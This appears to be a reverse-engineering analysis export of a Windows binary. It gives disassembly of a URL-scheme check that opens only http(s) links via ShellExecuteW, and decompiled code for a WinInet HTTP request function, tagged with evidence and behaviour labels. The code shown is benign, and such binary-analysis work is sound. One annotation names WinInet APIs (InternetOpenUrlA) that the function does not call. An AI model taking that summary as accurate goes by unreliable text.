140003e75eb 7aJMP LAB_140003ef1
LAB_140003e77:
140003e7748 39 caCMP RDX,RCX
140003e7a74 75JZ LAB_140003ef1
140003e7c66 83 3a 74CMP word ptr [RDX],0x74
140003e8075 d3JNZ LAB_140003e55
140003e824d 8d 51 f6LEA R10,[R9 + -0xa]
140003e8649 39 caCMP R10,RCX
140003e8974 66JZ LAB_140003ef1
140003e8b66 41 83 3a 74CMP word ptr [R10],0x74
140003e9075 c3JNZ LAB_140003e55
140003e924d 8d 51 f8LEA R10,[R9 + -0x8]
140003e9649 39 caCMP R10,RCX
140003e9974 56JZ LAB_140003ef1
140003e9b66 41 83 3a 70CMP word ptr [R10],0x70
140003ea075 b3JNZ LAB_140003e55
140003ea24d 8d 51 faLEA R10,[R9 + -0x6]
140003ea649 39 caCMP R10,RCX
140003ea974 46JZ LAB_140003ef1
140003eab66 41 83 3a 73CMP word ptr [R10],0x73
140003eb075 a3JNZ LAB_140003e55
140003eb24d 8d 51 fcLEA R10,[R9 + -0x4]
140003eb649 39 caCMP R10,RCX
140003eb974 36JZ LAB_140003ef1
140003ebb66 41 83 3a 3aCMP word ptr [R10],0x3a
140003ec075 93JNZ LAB_140003e55
140003ec24d 8d 51 feLEA R10,[R9 + -0x2]
140003ec649 39 caCMP R10,RCX
140003ec974 26JZ LAB_140003ef1
140003ecb66 41 83 3a 2fCMP word ptr [R10],0x2f
140003ed00f 85 7f ff ff ffJNZ LAB_140003e55
140003ed649 39 c9CMP R9,RCX
140003ed974 16JZ LAB_140003ef1
140003edb4d 8d 51 f2LEA R10,[R9 + -0xe]
140003edf49 8d 51 f4LEA RDX,[R9 + -0xc]
140003ee366 41 83 39 2fCMP word ptr [R9],0x2f
140003ee849 0f 44 c2CMOVZ RAX,R10
140003eece9 64 ff ff ffJMP LAB_140003e55
LAB_140003ef1:
140003ef148 39 c8CMP RAX,RCX
140003ef474 57JZ LAB_140003f4d
140003ef64c 39 c0CMP RAX,R8
140003ef975 52JNZ LAB_140003f4d
LAB_140003efb:
140003efbc7 44 24 28 01 00 00 00MOV dword ptr [RSP + local_60],0x1
140003f0348 c7 44 24 20 00 00 00 …MOV qword ptr [RSP + local_68],0x0
140003f0c48 8d 15 1f 7d 09 00LEA RDX,[u_open_14009bc32]; "open"
140003f1331 c9XOR ECX,ECX
140003f1545 31 c9XOR R9D,R9D
140003f18ff 15 d2 e4 0a 00CALL qword ptr [PTR_ShellExecuteW_1400b23f0]
140003f1ec6 44 24 38 08MOV byte ptr [RSP + local_50[0]],0x8
140003f23c7 44 24 39 74 72 75 65MOV dword ptr [RSP + local_50[1]],0x65757274
140003f2bc6 44 24 3d 00MOV byte ptr [RSP + local_50[5]],0x0
140003f3066 c7 44 24 68 00 00MOV word ptr [RSP + local_20[0]],0x0
140003f374c 8d 44 24 38LEA R8,[RSP + 0x38]
140003f3c4c 8d 4c 24 68LEA R9,[RSP + 0x68]
140003f4148 89 f1MOV RCX,RSI
140003f44b2 01MOV DL,offset s_ound_14009bbfc+5
140003f46e8 b5 e9 ff ffCALL json_response_builder; → json_response_builder (B10, E19)
140003f4beb 39JMP LAB_140003f86
LAB_140003f4d:
140003f4d66 c7 44 24 38 00 00MOV word ptr [RSP + local_50[0]],0x0
140003f54c6 44 24 68 28MOV byte ptr [RSP + local_20[0]],0x28
140003f590f 10 05 bd 7c 09 00MOVUPS XMM0,xmmword ptr [s_only_http(s)_allowed_14009bc1d]; "only http(s) allowed"
140003f600f 11 44 24 69MOVUPS xmmword ptr [RSP + local_20[1]],XMM0
140003f65c7 44 24 79 6f 77 65 64MOV dword ptr [RSP + local_20[17]],0x6465776f
140003f6dc6 44 24 7d 00MOV byte ptr [RSP + local_20[21]],0x0
140003f724c 8d 44 24 38LEA R8,[RSP + 0x38]
140003f774c 8d 4c 24 68LEA R9,[RSP + 0x68]
140003f7c48 89 f1MOV RCX,RSI
140003f7f31 d2XOR EDX,EDX
140003f81e8 7a e9 ff ffCALL json_response_builder; → json_response_builder (B10, E19)
LAB_140003f86:
140003f86f6 44 24 38 01TEST byte ptr [RSP + local_50[0]],0x1
140003f8b0f 84 72 fd ff ffJZ LAB_140003d03
140003f9148 8b 4c 24 48MOV RCX,qword ptr [RSP + local_40]
140003f96e8 45 b9 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140003f9be9 63 fd ff ffJMP LAB_140003d03

http_request

0x1400040001315 bytes
undefined8 http_request(undefined8 * param_1, undefined8 param_2, ulonglong param_3, undefined * param_4)

Sends HTTP requests via WinInet (InternetOpenA, InternetOpenUrlA, InternetReadFile), reads response

Cited as
E3
Behaviours
B3
Called from
none found
Calls
HttpAddRequestHeadersW HttpOpenRequestW HttpQueryInfoW HttpSendRequestW InternetCloseHandle InternetConnectW InternetCrackUrlW InternetReadFile PostMessageW GetLastError internet_init, FUN_14000ea50, FUN_14000ea80, FUN_14000eec0, thunk_FUN_140010410, FUN_140014000, FUN_14001f800, FUN_14001f8e0, FUN_140020228, FUN_1400202ea, FUN_140021ad4
Decompiled C · 303 lines
undefined8
http_request(undefined8 *param_1,undefined8 param_2,ulonglong param_3,undefined *param_4)

{
  byte bVar1;
  undefined1 uVar2;
  undefined1 uVar3;
  void *pvVar4;
  undefined8 uVar5;
  longlong lVar6;
  byte bVar7;
  bool bVar8;
  int iVar9;
  uint uVar10;
  DWORD DVar11;
  ulonglong uVar12;
  undefined8 *lParam;
  longlong lVar13;
  longlong lVar14;
  undefined8 *puVar15;
  undefined7 extraout_var;
  undefined *puVar16;
  longlong lVar17;
  undefined1 *puVar18;
  undefined8 uVar19;
  char *pcVar20;
  undefined4 unaff_XMM6_Da;
  undefined4 unaff_XMM6_Db;
  undefined4 unaff_XMM6_Dc;
  undefined4 unaff_XMM6_Dd;
  undefined1 auStackX_8 [16];
  ulonglong auStackX_18 [2];
  undefined8 uStack_48;
  
  uStack_48 = 0x140004016;
  uVar12 = FUN_140021ad4();
  lVar6 = -uVar12;
  *(undefined4 *)(&stack0x000032a0 + lVar6) = unaff_XMM6_Da;
  *(undefined4 *)(&stack0x000032a4 + lVar6) = unaff_XMM6_Db;
  *(undefined4 *)(&stack0x000032a8 + lVar6) = unaff_XMM6_Dc;
  *(undefined4 *)(&stack0x000032ac + lVar6) = unaff_XMM6_Dd;
  *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x14000402e;
  lParam = (undefined8 *)FUN_14001f800(0x40,param_2,param_3,param_4);
  *lParam = 0;
  lParam[1] = 0;
  lParam[2] = 0;
  lParam[3] = 0;
  lParam[4] = 0;
  lParam[5] = 0;
  lParam[6] = 0;
  lParam[7] = 0;
  *lParam = *param_1;
  if (DAT_1400c9470 == '\0') {
    *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400044fe;
    bVar8 = FUN_140020228(&DAT_1400c9470,param_2,param_3,param_4);
    if ((int)CONCAT71(extraout_var,bVar8) != 0) {
      *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x14000450b;
      DAT_1400c9468 = internet_init();
      *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x14000451e;
      FUN_1400202ea(&DAT_1400c9470,param_2,param_3,param_4);
    }
  }
  lVar13 = DAT_1400c9468;
  if (DAT_1400c9468 == 0) {
    pcVar20 = "InternetOpen failed";
  }
  else {
    *(undefined8 *)(&stack0x00000030 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000038 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000040 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000048 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000050 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000058 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000070 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000078 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000080 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000088 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000060 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000068 + lVar6) = 0;
    *(undefined8 *)(&stack0x00000090 + lVar6) = 0;
    *(undefined4 *)(&stack0x00000030 + lVar6) = 0x68;
    *(undefined1 **)(&stack0x00000048 + lVar6) = &stack0x000000a0 + lVar6;
    *(undefined4 *)(&stack0x00000050 + lVar6) = 0x100;
    *(undefined1 **)(&stack0x00000078 + lVar6) = &stack0x000022a0 + lVar6;
    *(undefined4 *)(&stack0x00000080 + lVar6) = 0x800;
    if ((*(byte *)(param_1 + 1) & 1) == 0) {
      lVar14 = (longlong)param_1 + 10;
    }
    else {
      lVar14 = param_1[3];
    }
    param_4 = &stack0x00000030 + lVar6;
    param_3 = 0;
    *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x140004115;
    iVar9 = InternetCrackUrlW(lVar14,0);
    if (iVar9 == 0) {
      pcVar20 = "Bad URL";
    }
    else {
      iVar9 = *(int *)(&stack0x00000044 + lVar6);
      param_3 = (ulonglong)*(ushort *)(&stack0x00000054 + lVar6);
      param_4 = &DAT_14009b7fa;
      *(undefined **)(&stack0xffffffffffffffe0 + lVar6) = &DAT_14009b7fa;
      *(undefined8 *)(&stack0xfffffffffffffff8 + lVar6) = 0;
      *(undefined4 *)(&stack0xfffffffffffffff0 + lVar6) = 0;
      *(undefined4 *)(&stack0xffffffffffffffe8 + lVar6) = 3;
      *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x14000415f;
      lVar13 = InternetConnectW(lVar13,&stack0x000000a0 + lVar6);
      if (lVar13 != 0) {
        bVar1 = *(byte *)(param_1 + 4);
        if ((bVar1 & 1) == 0) {
          uVar12 = (ulonglong)(bVar1 >> 1);
        }
        else {
          uVar12 = param_1[5];
        }
        if (uVar12 == 0) {
          puVar16 = &DAT_14009bbae;
        }
        else if ((bVar1 & 1) == 0) {
          puVar16 = (undefined *)((longlong)param_1 + 0x22);
        }
        else {
          puVar16 = (undefined *)param_1[6];
        }
        *(uint *)(&stack0xfffffffffffffff0 + lVar6) = (uint)(iVar9 == 4) << 0x17 | 0x84000200;
        *(undefined8 *)(&stack0xffffffffffffffe0 + lVar6) = 0;
        *(undefined8 *)(&stack0xffffffffffffffe8 + lVar6) = 0;
        *(undefined8 *)(&stack0xfffffffffffffff8 + lVar6) = 0;
        puVar18 = &stack0x000022a0 + lVar6;
        uVar19 = 0;
        *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x14000427b;
        lVar14 = HttpOpenRequestW(lVar13,puVar16);
        if (lVar14 == 0) {
          *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400042a9;
          thunk_FUN_140010410(lParam + 5,"HttpOpenRequest failed",puVar18,uVar19);
        }
        else {
          bVar1 = *(byte *)(param_1 + 7);
          if ((bVar1 & 1) == 0) {
            if (bVar1 >> 1 != 0) goto LAB_1400042b7;
          }
          else if (param_1[8] != 0) {
LAB_1400042b7:
            if ((bVar1 & 1) == 0) {
              lVar17 = (longlong)param_1 + 0x3a;
            }
            else {
              lVar17 = param_1[9];
            }
            *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400042da;
            HttpAddRequestHeadersW(lVar14,lVar17);
          }
          bVar1 = *(byte *)(param_1 + 10);
          if ((bVar1 & 1) == 0) {
            bVar7 = bVar1 >> 1;
            uVar12 = (ulonglong)bVar7;
            uVar10 = (uint)bVar7;
            if (bVar7 != 0) goto LAB_1400042ec;
LAB_140004300:
            lVar17 = 0;
          }
          else {
            uVar12 = param_1[0xb];
            uVar10 = 0;
            if (uVar12 == 0) goto LAB_140004300;
LAB_1400042ec:
            uVar10 = (uint)uVar12;
            if ((bVar1 & 1) == 0) {
              lVar17 = (longlong)param_1 + 0x51;
            }
            else {
              lVar17 = param_1[0xc];
            }
          }
          *(uint *)(&stack0xffffffffffffffe0 + lVar6) = uVar10;
          uVar19 = 0;
          *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x14000431b;
          iVar9 = HttpSendRequestW(lVar14,0);
          if (iVar9 == 0) {
            *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400043fa;
            DVar11 = GetLastError();
            *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x140004409;
            FUN_140014000((longlong *)((longlong)auStackX_18 + lVar6),(ulonglong)DVar11,uVar19,
                          lVar17);
            pcVar20 = "HttpSendRequest failed (";
            *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x14000441a;
            puVar15 = (undefined8 *)
                      FUN_14000eec0((ulonglong *)((longlong)auStackX_18 + lVar6),0,
                                    (byte *)"HttpSendRequest failed (");
            *(undefined8 *)(&stack0x000002b0 + lVar6) = puVar15[2];
            uVar19 = puVar15[1];
            *(undefined8 *)(&stack0x000002a0 + lVar6) = *puVar15;
            *(undefined8 *)(&stack0x000002a8 + lVar6) = uVar19;
            *puVar15 = 0;
            puVar15[1] = 0;
            puVar15[2] = 0;
            *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x140004453;
            puVar15 = (undefined8 *)
                      FUN_14000ea50((ulonglong *)(&stack0x000002a0 + lVar6),")",pcVar20,lVar17);
            uVar2 = *(undefined1 *)puVar15;
            uVar3 = *(undefined1 *)((longlong)puVar15 + 1);
            *(undefined8 *)(auStackX_8 + lVar6 + 6) = puVar15[1];
            *(undefined8 *)(auStackX_8 + lVar6) = *(undefined8 *)((longlong)puVar15 + 2);
            uVar19 = puVar15[2];
            *puVar15 = 0;
            puVar15[1] = 0;
            puVar15[2] = 0;
            if ((*(byte *)(lParam + 5) & 1) != 0) {
              pvVar4 = (void *)lParam[7];
              *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x14000448b;
              FUN_14001f8e0(pvVar4);
            }
            *(undefined1 *)(lParam + 5) = uVar2;
            *(undefined1 *)((longlong)lParam + 0x29) = uVar3;
            uVar5 = *(undefined8 *)(auStackX_8 + lVar6 + 6);
            *(undefined8 *)((longlong)lParam + 0x2a) = *(undefined8 *)(auStackX_8 + lVar6);
            lParam[6] = uVar5;
            lParam[7] = uVar19;
            if (((&stack0x000002a0)[lVar6] & 1) != 0) {
              *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400044c0;
              FUN_14001f8e0(*(void **)(&stack0x000002b0 + lVar6));
            }
            if ((*(byte *)((longlong)auStackX_18 + lVar6) & 1) != 0) {
              *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400044d1;
              FUN_14001f8e0(*(void **)(&stack0x00000028 + lVar6));
            }
          }
          else {
            *(undefined4 *)((longlong)auStackX_18 + lVar6) = 0;
            *(undefined4 *)(auStackX_8 + lVar6) = 4;
            *(undefined8 *)(&stack0xffffffffffffffe0 + lVar6) = 0;
            *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x140004354;
            HttpQueryInfoW(lVar14,0x20000013,(longlong)auStackX_18 + lVar6,auStackX_8 + lVar6);
            *(undefined4 *)(lParam + 1) = *(undefined4 *)((longlong)auStackX_18 + lVar6);
            *(undefined4 *)((longlong)auStackX_18 + lVar6 + -0x14) = 0;
            lVar17 = (longlong)auStackX_18 + lVar6 + -0x14;
            *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x14000437f;
            iVar9 = InternetReadFile(lVar14,&stack0x000002a0 + lVar6,0x2000);
            uVar10 = *(uint *)((longlong)auStackX_18 + lVar6 + -0x14);
            if (uVar10 != 0 && iVar9 != 0) {
              do {
                *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400043ce;
                FUN_14000ea80(lParam + 2,&stack0x000002a0 + lVar6,(ulonglong)uVar10,lVar17);
                *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400043df;
                lVar17 = (longlong)auStackX_18 + lVar6 + -0x14;
                iVar9 = InternetReadFile(lVar14,&stack0x000002a0 + lVar6,0x2000);
                if (iVar9 == 0) break;
                uVar10 = *(uint *)((longlong)auStackX_18 + lVar6 + -0x14);
              } while (uVar10 != 0);
            }
          }
          *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400044da;
          InternetCloseHandle(lVar14);
        }
        *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400044e3;
        InternetCloseHandle(lVar13);
        bVar1 = *(byte *)(param_1 + 10);
        goto joined_r0x0001400041a8;
      }
      pcVar20 = "InternetConnect failed";
    }
  }
  *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400041a4;
  thunk_FUN_140010410(lParam + 5,pcVar20,param_3,param_4);
  bVar1 = *(byte *)(param_1 + 10);
joined_r0x0001400041a8:
  if ((bVar1 & 1) != 0) {
    pvVar4 = (void *)param_1[0xc];
    *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400041b3;
    FUN_14001f8e0(pvVar4);
  }
  if ((*(byte *)(param_1 + 7) & 1) == 0) {
    bVar1 = *(byte *)(param_1 + 4);
  }
  else {
    pvVar4 = (void *)param_1[9];
    *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x140004215;
    FUN_14001f8e0(pvVar4);
    bVar1 = *(byte *)(param_1 + 4);
  }
  if ((bVar1 & 1) == 0) {
    bVar1 = *(byte *)(param_1 + 1);
  }
  else {
    pvVar4 = (void *)param_1[6];
    *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x140004224;
    FUN_14001f8e0(pvVar4);
    bVar1 = *(byte *)(param_1 + 1);
  }
  if ((bVar1 & 1) != 0) {
    pvVar4 = (void *)param_1[3];
    *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400041ce;
    FUN_14001f8e0(pvVar4);
  }
  *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400041d6;
  FUN_14001f8e0(param_1);
  *(undefined8 *)((longlong)&uStack_48 + lVar6) = 0x1400041ee;
  PostMessageW(DAT_1400c9450,0x8001,0,(LPARAM)lParam);
  return 0;
}

Assembly · 307 instructions, 23 annotated
AddressBytesInstructionComment
14000400041 57PUSH R15
14000400241 56PUSH R14
14000400441 55PUSH R13
14000400641 54PUSH R12
14000400856PUSH RSI
14000400957PUSH RDI
14000400a55PUSH RBP
14000400b53PUSH RBX
14000400cb8 f8 32 00 00MOV EAX,0x32f8
140004011e8 be da 01 00CALL FUN_140021ad4
14000401648 29 c4SUB RSP,RAX
1400040190f 29 b4 24 e0 32 00 00MOVAPS xmmword ptr [RSP + 0x32e0],XMM6
14000402148 89 cfMOV RDI,RCX
140004024b9 40 00 00 00MOV ECX,0x40
140004029e8 d2 b7 01 00CALL FUN_14001f800; FUN_14001f800: malloc
14000402e48 89 c6MOV RSI,RAX
1400040310f 57 c0XORPS XMM0,XMM0
1400040340f 29 00MOVAPS xmmword ptr [RAX],XMM0
1400040370f 29 40 10MOVAPS xmmword ptr [RAX + 0x10],XMM0
14000403b0f 29 40 20MOVAPS xmmword ptr [RAX + 0x20],XMM0
14000403f0f 29 40 30MOVAPS xmmword ptr [RAX + 0x30],XMM0
14000404348 8b 07MOV RAX,qword ptr [RDI]
14000404648 89 06MOV qword ptr [RSI],RAX
1400040490f b6 05 20 54 0c 00MOVZX EAX,byte ptr [DAT_1400c9470]
14000405084 c0TEST AL,AL
1400040520f 84 9a 04 00 00JZ LAB_1400044f2
LAB_140004058:
14000405848 8b 1d 09 54 0c 00MOV RBX,qword ptr [DAT_1400c9468]
14000405f48 85 dbTEST RBX,RBX
1400040620f 84 86 00 00 00JZ LAB_1400040ee
1400040680f 57 c0XORPS XMM0,XMM0
14000406b0f 29 44 24 70MOVAPS xmmword ptr [RSP + 0x70],XMM0
1400040700f 29 84 24 80 00 00 00MOVAPS xmmword ptr [RSP + 0x80],XMM0
1400040780f 29 84 24 90 00 00 00MOVAPS xmmword ptr [RSP + 0x90],XMM0
1400040800f 29 84 24 b0 00 00 00MOVAPS xmmword ptr [RSP + 0xb0],XMM0
1400040880f 29 84 24 c0 00 00 00MOVAPS xmmword ptr [RSP + 0xc0],XMM0
1400040900f 29 84 24 a0 00 00 00MOVAPS xmmword ptr [RSP + 0xa0],XMM0
14000409848 c7 84 24 d0 00 00 00 …MOV qword ptr [RSP + 0xd0],0x0
1400040a4c7 44 24 70 68 00 00 00MOV dword ptr [RSP + 0x70],0x68
1400040ac48 8d 84 24 e0 00 00 00LEA RAX,[RSP + 0xe0]
1400040b448 89 84 24 88 00 00 00MOV qword ptr [RSP + 0x88],RAX
1400040bcc7 84 24 90 00 00 00 00 …MOV dword ptr [RSP + 0x90],0x100
1400040c748 8d 84 24 e0 22 00 00LEA RAX,[RSP + 0x22e0]
1400040cf48 89 84 24 b8 00 00 00MOV qword ptr [RSP + 0xb8],RAX
1400040d7c7 84 24 c0 00 00 00 00 …MOV dword ptr [RSP + 0xc0],0x800
1400040e2f6 47 08 01TEST byte ptr [RDI + 0x8],0x1
1400040e674 19JZ LAB_140004101
1400040e848 8b 4f 18MOV RCX,qword ptr [RDI + 0x18]
1400040eceb 17JMP LAB_140004105
LAB_1400040ee:
1400040ee48 89 f1MOV RCX,RSI
1400040f148 83 c1 28ADD RCX,0x28
1400040f548 8d 15 7e 7a 09 00LEA RDX,[s_InternetOpen_failed_14009bb7a]; "InternetOpen failed"
1400040fce9 9e 00 00 00JMP LAB_14000419f
LAB_140004101:
14000410148 8d 4f 0aLEA RCX,[RDI + 0xa]
LAB_140004105:
1400041054c 8d 4c 24 70LEA R9,[RSP + 0x70]
14000410a31 d2XOR EDX,EDX
14000410c45 31 c0XOR R8D,R8D
14000410fff 15 d3 e1 0a 00CALL qword ptr [PTR_InternetCrackUrlW_1400b22e8]
14000411585 c0TEST EAX,EAX
14000411774 6fJZ LAB_140004188
1400041198b ac 24 84 00 00 00MOV EBP,dword ptr [RSP + 0x84]
14000412044 0f b7 84 24 94 00 00 …MOVZX R8D,word ptr [RSP + 0x94]
1400041294c 8d 0d ca 76 09 00LEA R9,[DAT_14009b7fa]
1400041304c 89 4c 24 20MOV qword ptr [RSP + 0x20],R9
14000413548 c7 44 24 38 00 00 00 …MOV qword ptr [RSP + 0x38],0x0
14000413ec7 44 24 30 00 00 00 00MOV dword ptr [RSP + 0x30],0x0
140004146c7 44 24 28 03 00 00 00MOV dword ptr [RSP + 0x28],0x3
14000414e48 8d 94 24 e0 00 00 00LEA RDX,[RSP + 0xe0]
14000415648 89 d9MOV RCX,RBX
140004159ff 15 81 e1 0a 00CALL qword ptr [PTR_InternetConnectW_1400b22e0]
14000415f48 85 c0TEST RAX,RAX
14000416274 2dJZ LAB_140004191
14000416448 89 c3MOV RBX,RAX
14000416731 c0XOR EAX,EAX
14000416983 fd 04CMP EBP,0x4
14000416c0f 94 c0SETZ AL
14000416fc1 e0 17SHL EAX,0x17
1400041720f b6 4f 20MOVZX ECX,byte ptr [RDI + 0x20]
140004176f6 c1 01TEST CL,0x1
1400041790f 84 ad 00 00 00JZ LAB_14000422c
14000417f48 8b 57 28MOV RDX,qword ptr [RDI + 0x28]
140004183e9 a8 00 00 00JMP LAB_140004230
LAB_140004188:
14000418848 8d 15 ff 79 09 00LEA RDX,[s_Bad_URL_14009bb8e]; "Bad URL"
14000418feb 07JMP LAB_140004198
LAB_140004191:
14000419148 8d 15 fe 79 09 00LEA RDX,[s_InternetConnect_failed_14009bb96]; "InternetConnect failed"
LAB_140004198:
14000419848 89 f1MOV RCX,RSI
14000419b48 83 c1 28ADD RCX,0x28
LAB_14000419f:
14000419fe8 5c c2 00 00CALL thunk_FUN_140010410; thunk_FUN_140010410: strlen
1400041a4f6 47 50 01TEST byte ptr [RDI + 0x50],0x1
1400041a874 09JZ LAB_1400041b3
LAB_1400041aa:
1400041aa48 8b 4f 60MOV RCX,qword ptr [RDI + 0x60]
1400041aee8 2d b7 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400041b3:
1400041b3f6 47 38 01TEST byte ptr [RDI + 0x38],0x1
1400041b775 53JNZ LAB_14000420c
1400041b9f6 47 20 01TEST byte ptr [RDI + 0x20],0x1
1400041bd75 5cJNZ LAB_14000421b
LAB_1400041bf:
1400041bff6 47 08 01TEST byte ptr [RDI + 0x8],0x1
1400041c374 09JZ LAB_1400041ce
LAB_1400041c5:
1400041c548 8b 4f 18MOV RCX,qword ptr [RDI + 0x18]
1400041c9e8 12 b7 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400041ce:
1400041ce48 89 f9MOV RCX,RDI
1400041d1e8 0a b7 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
1400041d648 8b 0d 73 52 0c 00MOV RCX,qword ptr [DAT_1400c9450]
1400041ddba 01 80 00 00MOV EDX,0x8001
1400041e245 31 c0XOR R8D,R8D
1400041e549 89 f1MOV R9,RSI
1400041e8ff 15 82 e1 0a 00CALL qword ptr [PTR_PostMessageW_1400b2370]
1400041ee31 c0XOR EAX,EAX
1400041f00f 28 b4 24 e0 32 00 00MOVAPS XMM6,xmmword ptr [RSP + 0x32e0]
1400041f848 81 c4 f8 32 00 00ADD RSP,0x32f8
1400041ff5bPOP RBX
1400042005dPOP RBP
1400042015fPOP RDI
1400042025ePOP RSI
14000420341 5cPOP R12
14000420541 5dPOP R13
14000420741 5ePOP R14
14000420941 5fPOP R15
14000420bc3RET
LAB_14000420c:
14000420c48 8b 4f 48MOV RCX,qword ptr [RDI + 0x48]
140004210e8 cb b6 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140004215f6 47 20 01TEST byte ptr [RDI + 0x20],0x1
14000421974 a4JZ LAB_1400041bf
LAB_14000421b:
14000421b48 8b 4f 30MOV RCX,qword ptr [RDI + 0x30]
14000421fe8 bc b6 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140004224f6 47 08 01TEST byte ptr [RDI + 0x8],0x1
14000422875 9bJNZ LAB_1400041c5
14000422aeb a2JMP LAB_1400041ce
LAB_14000422c:
14000422c89 caMOV EDX,ECX
14000422ed1 eaSHR EDX,0x1
LAB_140004230:
1400042300d 00 02 00 84OR EAX,0x84000200
14000423548 85 d2TEST RDX,RDX
14000423874 0bJZ LAB_140004245
14000423af6 c1 01TEST CL,0x1
14000423d74 0fJZ LAB_14000424e
14000423f48 8b 57 30MOV RDX,qword ptr [RDI + 0x30]
140004243eb 0dJMP LAB_140004252
LAB_140004245:
14000424548 8d 15 62 79 09 00LEA RDX,[DAT_14009bbae]
14000424ceb 04JMP LAB_140004252
LAB_14000424e:
14000424e48 8d 57 22LEA RDX,[RDI + 0x22]
LAB_140004252:
14000425289 44 24 30MOV dword ptr [RSP + 0x30],EAX
1400042560f 57 c0XORPS XMM0,XMM0
1400042590f 11 44 24 20MOVUPS xmmword ptr [RSP + 0x20],XMM0
14000425e48 c7 44 24 38 00 00 00 …MOV qword ptr [RSP + 0x38],0x0
1400042674c 8d 84 24 e0 22 00 00LEA R8,[RSP + 0x22e0]
14000426f48 89 d9MOV RCX,RBX
14000427245 31 c9XOR R9D,R9D
140004275ff 15 45 e0 0a 00CALL qword ptr [PTR_HttpOpenRequestW_1400b22c0]
14000427b48 85 c0TEST RAX,RAX
14000427e74 16JZ LAB_140004296
14000428049 89 c6MOV R14,RAX
1400042830f b6 47 38MOVZX EAX,byte ptr [RDI + 0x38]
140004287a8 01TEST AL,0x1
14000428974 23JZ LAB_1400042ae
14000428b48 8b 4f 40MOV RCX,qword ptr [RDI + 0x40]
14000428f48 85 c9TEST RCX,RCX
14000429275 23JNZ LAB_1400042b7
140004294eb 44JMP LAB_1400042da
LAB_140004296:
14000429648 89 f1MOV RCX,RSI
14000429948 83 c1 28ADD RCX,0x28
14000429d48 8d 15 12 79 09 00LEA RDX,[s_HttpOpenRequest_failed_14009bbb6]; "HttpOpenRequest failed"
1400042a4e8 57 c1 00 00CALL thunk_FUN_140010410; thunk_FUN_140010410: strlen
1400042a9e9 2c 02 00 00JMP LAB_1400044da
LAB_1400042ae:
1400042ae89 c1MOV ECX,EAX
1400042b0d1 e9SHR ECX,0x1
1400042b248 85 c9TEST RCX,RCX
1400042b574 23JZ LAB_1400042da
LAB_1400042b7:
1400042b7a8 01TEST AL,0x1
1400042b974 06JZ LAB_1400042c1
1400042bb48 8b 57 48MOV RDX,qword ptr [RDI + 0x48]
1400042bfeb 04JMP LAB_1400042c5
LAB_1400042c1:
1400042c148 8d 57 3aLEA RDX,[RDI + 0x3a]
LAB_1400042c5:
1400042c54c 89 f1MOV RCX,R14
1400042c841 b8 ff ff ff ffMOV R8D,0xffffffff
1400042ce41 b9 00 00 00 a0MOV R9D,0xa0000000
1400042d4ff 15 de df 0a 00CALL qword ptr [PTR_HttpAddRequestHeadersW_1400b22b8]
LAB_1400042da:
1400042da0f b6 4f 50MOVZX ECX,byte ptr [RDI + 0x50]
1400042def6 c1 01TEST CL,0x1
1400042e174 14JZ LAB_1400042f7
1400042e348 8b 47 58MOV RAX,qword ptr [RDI + 0x58]
1400042e748 85 c0TEST RAX,RAX
1400042ea74 14JZ LAB_140004300
LAB_1400042ec:
1400042ecf6 c1 01TEST CL,0x1
1400042ef74 14JZ LAB_140004305
1400042f14c 8b 4f 60MOV R9,qword ptr [RDI + 0x60]
1400042f5eb 12JMP LAB_140004309
LAB_1400042f7:
1400042f789 c8MOV EAX,ECX
1400042f9d1 e8SHR EAX,0x1
1400042fb48 85 c0TEST RAX,RAX
1400042fe75 ecJNZ LAB_1400042ec
LAB_140004300:
14000430045 31 c9XOR R9D,R9D
140004303eb 04JMP LAB_140004309
LAB_140004305:
1400043054c 8d 4f 51LEA R9,[RDI + 0x51]
LAB_140004309:
14000430989 44 24 20MOV dword ptr [RSP + 0x20],EAX
14000430d4c 89 f1MOV RCX,R14
14000431031 d2XOR EDX,EDX
14000431245 31 c0XOR R8D,R8D
140004315ff 15 b5 df 0a 00CALL qword ptr [PTR_HttpSendRequestW_1400b22d0]
14000431b85 c0TEST EAX,EAX
